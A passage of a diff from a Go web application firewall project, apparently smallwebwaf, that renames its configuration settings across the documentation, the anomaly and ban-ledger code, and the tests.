|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
||||
|
||||
## Traffic
|
||||
|
||||
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
||||
|
||||
## Countries and AS numbers
|
||||
|
||||
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
|
||||
as `other`:
|
||||
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
|
||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||
|
||||
+8
-10
@@ -128,8 +128,8 @@ Every one of these lines has:
|
||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||
- `core_rule_set`: `score`, and `threshold`,
|
||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||
@@ -148,7 +148,7 @@ Every one of these lines has:
|
||||
holds:
|
||||
- `minute`, `hour` and `day`: requests;
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||
`SWW_WAF_BYTES_COUNTED` names, in that window.
|
||||
`SWW_WAF_BYTES_COUNT` names, in that window.
|
||||
|
||||
A count can have a fraction (see "Counting method" in
|
||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||
@@ -158,8 +158,7 @@ Every one of these lines has:
|
||||
- `limit_hit`: the limit broken:
|
||||
- `minute`, `hour` or `day` for a rate limit;
|
||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||
- `minute_refusals` for the refusal limit
|
||||
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
|
||||
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
|
||||
|
||||
When the bytes counted for a request and its response break a limit, the
|
||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||
@@ -234,15 +233,14 @@ meanings where they differ:
|
||||
was sooner. It includes the wait for `waf`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `waf`'s answer, or the value of
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
|
||||
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
|
||||
left out when:
|
||||
- `waf` was not asked, as for the health check;
|
||||
- the visitor went away while `waf` was being asked;
|
||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||
- `waf_backend_no_answer`: `true` when
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
|
||||
otherwise left out.
|
||||
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
For example:
|
||||
|
||||
|
||||
+62
-69
@@ -12,8 +12,6 @@ chooses between the two (see "The image's command" below).
|
||||
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||
and negative durations are refused.
|
||||
- A time in milliseconds is a whole number above zero, such as `2000`. Its
|
||||
setting's name ends in `_MS`.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||
- A count is a whole number of requests, such as `1000`.
|
||||
@@ -57,9 +55,9 @@ chooses between the two (see "The image's command" below).
|
||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||
files, an absolute path that can be written. The image's `run` script makes
|
||||
it.
|
||||
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
written after a ban is made, lifted or made permanent. A duration.
|
||||
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
|
||||
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
|
||||
cache file is written. A duration.
|
||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
||||
files, an absolute path that can be written. The image's `run` script makes
|
||||
@@ -79,8 +77,8 @@ chooses between the two (see "The image's command" below).
|
||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||
own. A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
|
||||
they wait to be sent, a whole number above zero.
|
||||
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
|
||||
wait to be sent, a whole number above zero.
|
||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||
@@ -89,9 +87,8 @@ chooses between the two (see "The image's command" below).
|
||||
|
||||
## Metrics
|
||||
|
||||
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
|
||||
numbers and how many countries get series of their own. A whole number above
|
||||
zero.
|
||||
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
||||
countries get series of their own. A whole number above zero.
|
||||
|
||||
## Static lists
|
||||
|
||||
@@ -137,10 +134,10 @@ cut off; the client is banned.
|
||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
|
||||
bytes count: response bodies, request bodies or both. The request that passes
|
||||
the limit is not cut off, and the client is banned when its response ends.
|
||||
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
|
||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
||||
count: response bodies, request bodies or both. The request that passes the
|
||||
limit is not cut off, and the client is banned when its response ends.
|
||||
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
@@ -154,13 +151,13 @@ cut off; the client is banned.
|
||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
|
||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- an anomaly threshold per AS number.
|
||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
|
||||
request waits for its client's first answer from GeoJS, and how long a request
|
||||
to GeoJS may take. A time in milliseconds; never `off`.
|
||||
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||
duration; never `off`.
|
||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||
app the client's AS number in `X-Client-ASN` and its country in
|
||||
`X-Client-Country`.
|
||||
@@ -209,23 +206,22 @@ tag that no request can get stops the start. A request can get only these:
|
||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||
masked as the `reputation` field shows it;
|
||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
|
||||
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
|
||||
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
|
||||
`off`.
|
||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
||||
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
||||
|
||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||
the request first.
|
||||
|
||||
## Biased thresholds
|
||||
|
||||
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
||||
(default empty): a percentage of the byte limits alone, for the AS numbers or
|
||||
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
|
||||
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
|
||||
An AS number or country listed twice is refused.
|
||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
|
||||
client the lookup cannot place.
|
||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
||||
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
||||
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
||||
or country listed twice is refused.
|
||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
||||
the lookup cannot place.
|
||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||
a text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||
@@ -234,15 +230,15 @@ the request first.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
|
||||
rule files.
|
||||
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
||||
files.
|
||||
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||
paranoia level, from 1 to 4.
|
||||
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
|
||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
||||
request is a match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||
@@ -251,10 +247,10 @@ the request first.
|
||||
`smallwebwaf`'s own.
|
||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||
Rule Set does not inspect.
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
|
||||
much of a request body the Core Rule Set reads, a size of at most `64K`. A
|
||||
question carries no more of a body than 64 KiB, and the Core Rule Set reads at
|
||||
most 64 KiB less one byte of it, whatever the value (see "The answer" in
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
||||
request body the Core Rule Set reads, a size of at most `64K`. A question
|
||||
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
||||
KiB less one byte of it, whatever the value (see "The answer" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||
@@ -292,10 +288,9 @@ the request first.
|
||||
- a hostname listed twice;
|
||||
- an app listed twice for one hostname;
|
||||
- an entry without a colon.
|
||||
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
|
||||
may get in a minute from a rule file, a trap path or the Core Rule Set, a
|
||||
count or `off`. The next one bans the client (see "Attack detection" in
|
||||
`SPEC.md`).
|
||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
||||
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||
|
||||
## Ban lengths, response and scope
|
||||
|
||||
@@ -304,8 +299,8 @@ the request first.
|
||||
A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
||||
that would be longer than this is permanent instead. A duration.
|
||||
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
||||
one that would be longer is permanent. A duration.
|
||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||
of attack. A duration.
|
||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
@@ -341,12 +336,12 @@ the request first.
|
||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||
URL, it is refused.
|
||||
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
|
||||
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
|
||||
or AbuseIPDB's score is used. A duration.
|
||||
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
|
||||
zone or a check with AbuseIPDB may take. A time in milliseconds.
|
||||
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
AbuseIPDB's score is used. A duration.
|
||||
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
||||
check with AbuseIPDB may take. A duration.
|
||||
|
||||
## Alerting
|
||||
|
||||
@@ -374,7 +369,7 @@ the request first.
|
||||
## Anomaly thresholds
|
||||
|
||||
Each scope has four thresholds: the most requests and the most body bytes
|
||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
|
||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
thresholds per client are:
|
||||
|
||||
@@ -394,10 +389,9 @@ as `REQUESTS_PER_MINUTE`:
|
||||
client.
|
||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
|
||||
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
|
||||
(default empty) is a list of name, `=` and netblock, such as
|
||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
||||
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
||||
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
name, or with a bad netblock, is refused. So is a name used twice.
|
||||
|
||||
## Settings given as files
|
||||
@@ -441,11 +435,10 @@ A few limits are fixed rather than settings:
|
||||
|
||||
## `waf`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
|
||||
an outside source. Keep it well under `rproxy`'s
|
||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
|
||||
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
|
||||
asked in the background (see "Answering in time" under "`waf`" in
|
||||
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
||||
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
||||
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
||||
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
@@ -454,17 +447,18 @@ asked in the background (see "Answering in time" under "`waf`" in
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||
never `off`.
|
||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
|
||||
gives, such as an error.
|
||||
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||
answer, to a question and to a report. A time; never `off`.
|
||||
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
||||
request when `waf` cannot be connected to, does not answer at all, or does not
|
||||
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
|
||||
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
|
||||
error.
|
||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||
size or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||
@@ -472,12 +466,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
in milliseconds or `off`.
|
||||
or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. An
|
||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||
do the status and headers of the app's answer. A time in milliseconds or
|
||||
`off`.
|
||||
do the status and headers of the app's answer. A time or `off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
|
||||
@@ -45,7 +45,7 @@ const (
|
||||
// threshold.
|
||||
EventAnomaly = "anomaly"
|
||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// detect mode.
|
||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||
// EventReputationHit is a request whose client a blocklist, the
|
||||
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
ScopeASN = "asn"
|
||||
// ScopeTotal is the whole service.
|
||||
ScopeTotal = "total"
|
||||
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
||||
ScopeWatchedNet = "watched_net"
|
||||
)
|
||||
|
||||
@@ -68,7 +68,7 @@ type Thresholds struct {
|
||||
BytesPerHour int64
|
||||
}
|
||||
|
||||
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
|
||||
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
||||
type NamedNetblock struct {
|
||||
Name string
|
||||
Netblock netip.Prefix
|
||||
@@ -78,12 +78,12 @@ type NamedNetblock struct {
|
||||
type Params struct {
|
||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||
// SWW_WAF_ANOMALY_WATCHED_NET_*.
|
||||
Client, Net, ASN, Total, WatchedNet Thresholds
|
||||
// SWW_WAF_WATCH_*.
|
||||
Client, Net, ASN, Total, Watch Thresholds
|
||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||
NetV4Prefix, NetV6Prefix int
|
||||
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
|
||||
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
||||
NamedNetblocks []NamedNetblock
|
||||
// Alerts receive the anomaly alerts.
|
||||
Alerts *alerts.Queue
|
||||
@@ -119,7 +119,7 @@ type Request struct {
|
||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||
// unknown.
|
||||
ASN, ASName, Country string
|
||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
|
||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
||||
Bytes int64
|
||||
}
|
||||
|
||||
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
||||
scope: ScopeWatchedNet,
|
||||
netblock: named.Netblock,
|
||||
name: named.Name,
|
||||
}, p.WatchedNet,
|
||||
}, p.Watch,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||
counters := anomaly.New(anomaly.Params{
|
||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
|
||||
Total: overAtTheSecond, Watch: overAtTheSecond,
|
||||
// The netblock around a client is the client's own, and two names
|
||||
// name one netblock.
|
||||
NetV4Prefix: 32,
|
||||
|
||||
+10
-10
@@ -1,6 +1,6 @@
|
||||
// Package bans is the ban ledger: the bans sww makes on the
|
||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
||||
// limit, show a clear sign of attack or are listed by the CrowdSec
|
||||
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||
// decision list, and
|
||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||
// describes. The bans are kept in memory, and written to bans.json and
|
||||
@@ -49,9 +49,9 @@ type Params struct {
|
||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||
// repeatFactor times as long as that ban.
|
||||
LimitBanRepeatWindow time.Duration
|
||||
// A ban for a broken limit that would be longer than
|
||||
// LimitBanPermanentAbove is permanent instead.
|
||||
LimitBanPermanentAbove time.Duration
|
||||
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||
// be longer is permanent instead.
|
||||
MaxBanDuration time.Duration
|
||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||
// lasts.
|
||||
AttackBanDuration time.Duration
|
||||
@@ -105,7 +105,7 @@ type Notes struct {
|
||||
Country string `json:"country"`
|
||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||
// byte limit or "refusals" for the refusal limit, the limit that was
|
||||
// byte limit or "refusals" for the error burst, the limit that was
|
||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||
// the client's requests, bytes or refusals in the window, those of the
|
||||
// request that broke the limit included.
|
||||
@@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||
// decision, or a lifted one, lasts
|
||||
// repeatFactor times as long as that one. A ban that would be longer
|
||||
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
|
||||
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||
// active, as when two of its requests break a limit at once, that ban is
|
||||
// returned with false, and no other is made. The ledger fills in the
|
||||
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||
@@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
||||
if last != nil &&
|
||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||
lastLength := last.Expires.Sub(last.Start)
|
||||
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
|
||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||
// that it cannot overflow.
|
||||
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
|
||||
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
length = repeatFactor * lastLength
|
||||
}
|
||||
|
||||
if length > l.params.LimitBanPermanentAbove {
|
||||
if length > l.params.MaxBanDuration {
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
|
||||
+12
-12
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
|
||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||
ledger := bans.New(params)
|
||||
|
||||
ban, _ := ledger.BanForLimit(
|
||||
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||
// a time.Duration. The 15th is permanent.
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.LimitBanPermanentAbove = 100000 * day
|
||||
params.MaxBanDuration = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||
now := midnight()
|
||||
@@ -650,11 +650,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
||||
// defaultParams are the params at the settings' defaults.
|
||||
func defaultParams() bans.Params {
|
||||
return bans.Params{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: day,
|
||||
